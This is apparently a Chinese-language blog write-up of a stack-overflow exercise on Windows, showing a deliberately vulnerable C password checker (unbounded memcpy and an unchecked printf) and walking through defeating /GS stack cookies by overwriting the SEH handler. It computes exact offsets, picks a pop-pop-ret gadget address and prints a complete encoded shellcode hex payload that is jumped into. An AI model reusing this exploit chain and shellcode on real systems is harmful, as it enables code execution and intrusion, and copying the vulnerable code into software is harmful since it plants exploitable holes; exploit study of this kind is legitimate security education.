image.png

代码

#include <iostream>
#include <stdio.h>
#include <Windows.h>

#define PASSWORD "15PB"
int VerifyPassword(char* pszPassword)
{

    char szBuffer[50];
    memcpy(szBuffer, pszPassword, strlen(pszPassword));//栈溢出主要位置,传进来的PszPassword 最大为512字
                                                       //最大是50字节
    printf(szBuffer);
    return strcmp(PASSWORD, szBuffer);
}

int main()
{
    int nFlag = 0;
    char szPassword[0x1000] = { 0 };
    FILE* fp;
    LoadLibrary("user32.dll");
    if (NULL == (fp = fopen("C:\\Users\\Administrator\\Desktop\\111.txt", "r+")))
    {
        MessageBox(NULL, "打开文件失败", "error", NULL);
        exit(0);
    }
    fread(szPassword, sizeof(szPassword), 1, fp);
    nFlag = VerifyPassword(szPassword);
    if (nFlag)printf("密码错误!\n");
    else printf("密码正确");
    fclose(fp);
    system("pause");
    return 1;
}

在程序开始前 调用secuity_cookie 加密当前ebp栈低 然后存到.data 段中

image.png

在程序结束的时候 调用security_check_cookie来确认当前ebp 和解密出来的ebp是否一致,如果不一致那么就代表栈溢出,直接报错。

image.png

过GS

Step1. 尝试寻找绕过GS的方法

  1. 找到未开启GS的函数(且此函数正好有漏洞);
    √ b. 想办法在安全cookie检查函数(__security_check_cookie)前,执行Shellcode;
  2. 想办法用堆喷射等方法覆盖系统cookie值,并将其改成自己的。

SEH链异常进行绕过GS

通过撑爆栈空间触发异常处理函数,并将系统异常处理handle修改为自己的Shellcode地址。

在内存布局中可以看到,当前堆栈的大小是A000。如果撑爆这个空间的话会跑到1A0000,而这块内存是只读区域。所以会爆出内存访问异常。提前进入SEH链。

image.png

image.png

计算差值SEH位置

如果要覆盖SEH链,那么就必须知道溢出位置和SEH链位置,之间占有多大的差距。

获取BUFF局部变量地址

image.png

获取SEH链位置

image.png

溢出位置:BUFF 19B0A8

SEH位置:SEH 19FF64

内存写入异常位置 1A0000

距离SEH位置 4EBC

距离写入异常位置 4F58

首先填充缓冲区使其报错。

image.png

image.png

image.png

寻找一个未开启安全机制的模块,看来只能在主程序找了。

请输入图片描述

找到 pop pop ret

image.png

在4EBC这里改为 401FD4

pop pop ret 401FD4

修改地址为

image.png

成功绕过。此时的距离已经离内存的底部很近了,所以不能用这块地址。这里我们直接使用缓冲区的地址

19B0A8。跳到这个位置上即可

image.png

image.png

image.png

那么就在前面填充,ShellCode即可。

33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707

image.png

成功跳转

image.png

成功显示

image.png

最后修改:2021 年 01 月 20 日 05 : 13 PM